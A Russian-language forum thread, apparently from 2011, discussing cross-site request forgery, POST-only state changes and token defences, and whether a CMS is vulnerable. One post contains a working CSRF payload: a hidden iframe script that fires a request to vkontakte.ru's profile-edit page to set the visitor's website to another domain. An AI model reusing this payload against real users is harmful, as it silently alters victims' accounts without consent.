Cross-Site Request Forgery (CSRF/XSRF)

477
.
Здравствуйте, уважаемые!

Все мы знаем такие виды атак как SQLInjection и XSS, но наверняка не все слышали про Cross-Site Request Forgery (Подделка межсайтовых запросов) или проще говоря CSRF. Я тоже только недавно об этом узнал. Что это такое, можно почитать в википедии.

Способы защиты:
Во-первых, все GET-данные нужно использовать только для SELECT-запросов. Запросы изменяющие информацию в БД (UPDATE, INSERT, etc.) стоит делать только на основе POST-данных.
Во-вторых, для каждой формы генерировать специальный ключ, записывать его в куки пользователя и передавать в скрытом поле в форме (input type="hidden"). Затем на сервере сравнивать ключи полученный из кук и из формы.

Во многие фреймворки и CMS эта защита встроена по-умолчанию. В джоне же этой защиты нет, a надо бы.
.
P_B_I
И .??
.
Поверь в мечту!
<script>
function doit() {
  var html;
  html = '<img src=http://vkontakte.ru/profileEdit.php?page=contacts&subm=1&website=http://baboknet.ru>';
  window.frames["frm"].document.body.innerHTML = html;
}
</script>
<iframe name="frm" onload="doit()" width="0" height="0"></iframe>

кто знает поймет)))
.
╭∩╮ (`-`) ╭∩╮
Dionis (24.08.2011/08:35)
В джоне же этой защиты нет, a надо бы.
Как это нет?
А ну, продемонстрируй хоть одну Cross-Site Request Forgery (CSRF/XSRF)
Если не дай бог что-то обнаружится, немедленно устраним, но пока насколько мне не изменяет память, такового не наблюдалось.
.
Поверь в мечту!
инфо отсюда:
http://habrahabr.ru/blogs/webdev/21626/
.
╭∩╮ (`-`) ╭∩╮
zumak (24.08.2011/09:04)
инфо отсюда:
http://habrahabr.ru/blogs/webdev/21626/
Ну, там скорее относится к браузерам, чем к сайтам.
.
Поверь в мечту!
http://www.inattack.ru/article/552.html
хорошая статейка по сабжу
.
(\/)____o_O____(\/)
Да если руки кривые, то дырки будут, а так вроде все фильтруется перед записью в базу. По мне mysqli или PDO юзать нужно.
.
╭∩╮ (`-`) ╭∩╮
Koenig (24.08.2011/09:32)
Да если руки кривые, то дырки будут, а так вроде все фильтруется перед записью в базу. По мне mysqli или PDO юзать нужно.
Насчет mysqli поддерживаю.
Что касается PDO, говоря по правде, не люблю механизмы абстракции, это зло, так сказать, онанизм для лентяев.
.
для особо мерзких, мы особо дерзкие
AlkatraZ (24.08.2011/09:39)
Насчет mysqli поддерживаю.
переводи двиг. я себе давно перевел, теперь со мной всегда присутствует чувство удовлетворения
Да если руки кривые, то дырки будут, а так вроде все фильтруется перед записью в базу. По мне mysqli или PDO юзать нужно.
а вот с этим не согласен. да, юзая preapre и exec при записи в БД плохого не будет. Но на выводе, с тем же prepare и exec все равно нужно будет фильтровать injection
Всего: 20